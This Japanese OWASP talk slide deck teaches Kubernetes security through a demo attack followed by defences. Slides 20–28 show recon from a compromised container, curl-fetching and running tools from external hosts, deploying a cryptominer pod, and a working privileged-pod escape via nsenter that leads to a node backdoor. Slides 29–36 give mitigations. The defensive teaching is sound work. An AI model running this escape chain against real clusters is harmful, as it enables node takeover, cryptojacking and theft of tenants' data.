Slide 1

Slide 1 text

@fujiihda 2021/1/15 WASNight 2021 Kick-off OWASP Session 攻撃しながら考えるKubernetes セキュリティ

Slide 2

Slide 2 text

2 2 @fujiihda Whois • 役割:インフラエンジニア • 仕事:k8sを活用する組織のリサーチチーム • 経歴:OSS → OSとコンテナ → 現職 • 趣味:コミュニティ活動 ゆっきー (Hideyuki Fujii) @fujiihda

Slide 3

Slide 3 text

3 @fujiihda の セ キ ュ リ テ ィ を 完 全 に 理 解 し て し ま っ た か も し れ な い の セ キ ュ リ テ ィ わ か ら な く な っ て き た 全然わからない 俺たちは雰囲気で k8sを以下略 k8s k8s 素 晴 ら し い Falco

Slide 4

Slide 4 text

4 4 @fujiihda 本発表はコミュニティの皆さんのセキュリティ 向上を目的としています。 攻撃手法を題材として扱いますが違法なクラッ キングを推進するものではありません。絶対に 悪用しないでください。 また、発表内容は個人の見解です。所属する企 業やコミュニティの立場、意見を代表するもの ではありません。 【重要】はじめに

Slide 5

Slide 5 text

5 @fujiihda 本日の流れ 1. はじめに 2. コンテナセキュリティ基礎 3. シナリオを使ったコンテナへの攻撃と防御

Slide 6

Slide 6 text

6 @fujiihda k8sはセキュリティを きちんと考慮されない ままで導入されがち なのでは!?

Slide 7

Slide 7 text

7 7 @fujiihda ぜんぜんわからない 俺たちは雰囲気でコンテナをやっている 何も考えずに ← は NG 何も考えずに ← は NG 何も考えずに ← は NG

Slide 8

Slide 8 text

8 8 @fujiihda ぜんぜんわからない 俺たちは雰囲気でk8sをやっている PodSecurity Policy? Service Account? 特権コンテナ? メタデータ アクセス? 脆弱性 診断は?

Slide 9

Slide 9 text

9 @fujiihda 皆さんに伝えたいもの • 「これは危険だ」という知識 • 脅威に対する考え方 • コンテナへの攻撃の全体像

Slide 10

Slide 10 text

10 @fujiihda コンテナセキュリティ基礎

Slide 11

Slide 11 text

11 11 @fujiihda 基本1:コンテナ特有のセキュリティリスクと対策

Slide 12

Slide 12 text

12 12 @fujiihda (参考) 各リスクの内訳

Slide 13

Slide 13 text

13 13 @fujiihda 基本2:OSとコンテナランタイムの最新化 • OSやコンテナランタイムを最新に保つことでしか対応困難な脆弱性もある • システムを構成する要素は脆弱性はツールを使うなどして即把握・即対処

Slide 14

Slide 14 text

14 14 @fujiihda 基本3:マルチテナント構成時はリスクを考慮 • コンテナは、一般的な構成では、ホストと同じカーネルで動くプロセス • コンテナは、一般的にVMと比較すると他のコンテナやホストから影響を 受けやすい → ただし、いまは様々な選択肢が提供されていて改善されつつある (今日はこれらには言及しません)

Slide 15

Slide 15 text

15 15 @fujiihda 基本4:ケーパビリティやseccompでAttack Surface最小化 • ケーパビリティ – root権限を目的別に約 30 個に分割した特権機能群 – 必要に応じて付与 / 剥奪 (デフォルトから剥奪も検討) • seccomp – プロセスが利用できるシステムコールを制限できる – コンテナでは、コンテナ内のプロセスが実行するシステムコール を制限できる – 定義したシステムコールが呼ばれたときの制御を、許可、拒否、 終了などのアクションから選択でき、種類だけでなく、引数との 組み合わせも定義可能 多層防御の考えのもと重ね 掛けを基本として、要件や 粒度に応じて使い分ける でもケーパビリ ティは最小権 限にすべきか なぁ セキュリティ実 践ガイドに詳細 が書いてある

Slide 16

Slide 16 text

16 @fujiihda シナリオ: k8s固有のセキュリティ

Slide 17

Slide 17 text

17 17 @fujiihda (参考) ここから扱うネタは定番ネタ • 某検索エンジンで 「Kubernetes Attack」 などで検索

Slide 18

Slide 18 text

18 18 @fujiihda 防御側 • セキュリティは後回しで、塩漬け文化があり、 – クラウドベンダのマネージドk8s上に – セキュリティ脆弱性がよく話題になるCMSをデプロイした – CMSには後日深刻な脆弱性が見つかったが対処していない – CMSはインターネットに公開されている • CMSは付き合いのあるお客様向けの情報発信に使っているものの、 重要度は低く、CMS上には公開情報以外載せていない • コスト優先でマルチテナント構成をとっており、同じNode上に別部門 の管理する 個人情報を含むシステムが動いている

Slide 19

Slide 19 text

19 19 @fujiihda (参考) 攻撃側 • 攻撃者種別:スクリプトキディ • 攻撃対象:無差別 (クラウドベンダの利用するIPアドレスレンジを中心に、 IPアドレスを自動スキャンするツールを使うことで脆弱性のあるIPアドレス に対して無差別に攻撃) • 攻撃手段:既知脆弱性を悪用するツールを用いるのみで高度な技術なし • 攻撃目的:お金 (マイニングと個人情報売買) • 前提条件:CMSの脆弱性をツールで突いてシェルを取った (コンテナのプロセスの権限で任意のコマンドを実行できる)

Slide 20

Slide 20 text

20 20 @fujiihda わたしは誰だ… ここはどこだ…… $ id uid=1000(cms) gid=1000(cms) groups=1000(cms) $ ps -ef UID PID PPID C STIME TTY TIME CMD cms+ 1 0 0 13:11 ? 00:00:00 /usr/bin/dumb- init /usr/local/sbin/entrypoint.sh cms+ 7 1 0 13:11 ? 00:00:00 node /cms/app cms+ 18 7 0 14:11 pts/0 00:00:00 /bin/bash cms+ 25 18 0 14:47 pts/0 00:00:00 ps -ef $ df -h (省略) tmpfs 3.7G 12K 3.7G 1% /run/secrets/kubernetes.io/serviceaccount (省略)

Slide 21

Slide 21 text

21 21 @fujiihda パスワードと/rootへのアクセス $ cat /etc/shadow cat: /etc/shadow: Permission denied $ ls -l /root ls: cannot open directory '/root': Permission denied

Slide 22

Slide 22 text

22 22 @fujiihda ほう kubeですか たいしたものですね $ cd /tmp; curl -Lo amicontained https://github.com/genuinetools/amicontained/releases/download/v0.4.9/a micontained-linux-amd64; chmod 755 amicontained; ./amicontained (省略) Container Runtime: kube Has Namespaces: pid: true user: false AppArmor Profile: docker-default (enforce) Capabilities: BOUNDING - > chown dac_override fowner fsetid kill setgid setuid setpcapnet_bind_service net_raw sys_chroot mknod a udit_write setfcap Seccomp: disabled Blocked Syscalls (29): SYSLOG SETUID SETGID SETSID SETREUID SETREGID SETGROUPS SETRESUID SETRESGID VHANGUP PIVOT_ROOT A CCT SETTIMEOFDAY UMOUNT2 SWAPON SWAPOFF REBOOT SETHOSTNAME SETDOMAINNAME INIT_MODULE DELETE_MODULE LOOKU P_DCOOKIE FUTIMESAT UTIMENSAT FANOTIFY_INIT OPEN_BY_HANDLE_AT FINIT_MODULE KEXEC_FILE_LOAD BPF Looking for Docker.sock

Slide 23

Slide 23 text

23 23 @fujiihda 環境変数を見てみる $ env | grep -i kube KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1 KUBERNETES_PORT=tcp://10.100.0.1:443 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_HOST=10.100.0.1

Slide 24

Slide 24 text

24 24 @fujiihda k8sのバージョンを見てみる $ curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version { "major": "1", "minor": "15+", "gitVersion": "v1.15.12-■■■■■■■■", "gitCommit": "■■■■■■■■■■■■■■■■■■", "gitTreeState": "clean", "buildDate": "2020-06-01■■■■■■■■", "goVersion": "go1.12.17b4", "compiler": "gc", "platform": "linux/amd64" }

Slide 25

Slide 25 text

25 25 @fujiihda kubectlしてみる $ export PATH=/tmp:$PATH $ cd /tmp; curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.15 .12/bin/linux/amd64/kubectl; chmod 755 kubectl $ kubectl get namespaces Error from server (Forbidden): namespaces is forbidden: User "system:serviceaccount :prd:default" cannot list resource "namespaces" in API group "" at the cluster scop e

Slide 26

Slide 26 text

26 26 @fujiihda 現在Podを作成できるか $ kubectl auth can-i create pods yes

Slide 27

Slide 27 text

27 27 @fujiihda 悪意のあるPodを作成 $ kubectl apply -f c0inminer.yaml 悪意のあるyamlを書 いてPodを作成

Slide 28

Slide 28 text

28 28 @fujiihda Nodeに権限昇格してバックドアを作成 $ kubectl run r00tc0ntainer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command": ["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,“ securityContext":{"privileged":true}}]}}’ r00tc0ntainer / # r00tc0ntainer / # docker run -d backd00r Nodeの特権になった あとは個人情報を探 そう (省略) バックドア作成した

Slide 29

Slide 29 text

29 29 @fujiihda なにをされたのか • アプリケーションの脆弱性を悪用されてシェルを取られた (任意コード実行可能だった) • Service Accountを悪用されて、k8sにマイニング用のPodを建てられた • Service Accountを悪用されて、k8sにホストのroot権限を持つコンテナを 建てられた (権限昇格) – そしてバックドアを仕込まれた • (今日のデモ内では攻撃されなかったが) 攻撃者が同じNode上の 他のコンテナに入っている個人情報にアクセス可能になった

Slide 30

Slide 30 text

30 30 @fujiihda なぜ攻撃が成立したか • コンテナとして動かしていたアプリケーションに任意の コード実行の脆弱性があった • k8sの各種機能が適切に設定されていなかった – Service Accountが最小権限に設定されていなかった – コンテナ内でできることが限定されていなかった – 特権コンテナが禁止されていなかった – あらかじめ許可されていないコンテナが起動できた • 脆弱なコンテナがマルチテナント構成の同一ホスト上あった

Slide 31

Slide 31 text

31 @fujiihda 今回の原因はk8sの 設定不備です。k8sの 脆弱性ではありません。

Slide 32

Slide 32 text

32 32 @fujiihda 対策 • (今回は悪用されなかったが) Kubernetesは最新化 • k8sの各種機能を適切に設定してセキュリティを高める – Service Accountは最小権限 – コンテナ内でできることは限定する – 特権コンテナはなるべく禁止 – 信頼できるコンテナのみが起動できるようにする • マルチテナントにする際はリスクを考慮してセキュリティ徹底

Slide 33

Slide 33 text

33 33 @fujiihda デモに有効と考えるベストプラクティス • アプリの脆弱性を是正 – CI/CDの仕組みのなかに脆弱性診断を導入 – 環境変数暗号化 • Service Accountは最小権限 • コンテナ内でできることを限定 – コンテナ内で ps や curl などのできないコンテナイメージの採用 – 書き込みが不要なコンテナであればリードオンリー • PodSecurityPolicy設定 – (特別な理由がない限り) 特権コンテナ基本禁止 – 最小権限を徹底してコンテナ作成などの不要な権限を与えない • あらかじめ許可された信頼できるコンテナのみに起動を許可 – Binary Authorizationなどの仕組みの導入 重要!

Slide 34

Slide 34 text

34 34 @fujiihda 個人的ベストプラクティスの一部 (前ページ掲載除く) • メタデータアクセス制御 (169.254.169.254 アクセス禁止) • Namespaceは専門知識を持った人が対応 • RBACも専門知識を持った人が対応 • 必要な通信のみを許可 • 不要ならホストのボリュームをマウントしない • 徹底的にIaCで自動化 • 高いセキュリティレベルが求められるならクラスタ分割検討 • 悪意を即検知して通知/是正するセキュリティの仕組みの導入 重要!

Slide 35

Slide 35 text

35 @fujiihda 責任共有モデルでは k8sを適切に設定する のはユーザの責任

Slide 36

Slide 36 text

36 @fujiihda • アプリからk8sに至るまでを最新化 • k8sのセキュリティを高める機能を適切に使用 • ベストプラクティスはひととおり全部抑える • k8sのセキュリティを設定する責任はユーザ • マルチテナントはセキュリティリスクを考慮 まとめ

Slide 37

Slide 37 text

37 37 @fujiihda Reference • 書籍:Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド • 書籍:Kubernetes Security • 書籍:Container Security • KubeCon NA 2019 CTF: https://securekubernetes.com/ • Kubernetes Security for Microservices: https://speakerdeck.com/rung/kubernetes-security-for-microservices/ • Threat matrix for Kubernetes: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ • NIST SP800-190 Application Container Security Guide: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf • CIS Benchmark原本: https://www.cisecurity.org/benchmark/kubernetes/ • CIS Benchmark GKE版: https://www.cisecurity.org/cis-benchmarks/ • CIS Benchmark EKS版: https://aws.amazon.com/jp/blogs/containers/introducing-cis-amazon-eks-benchmark/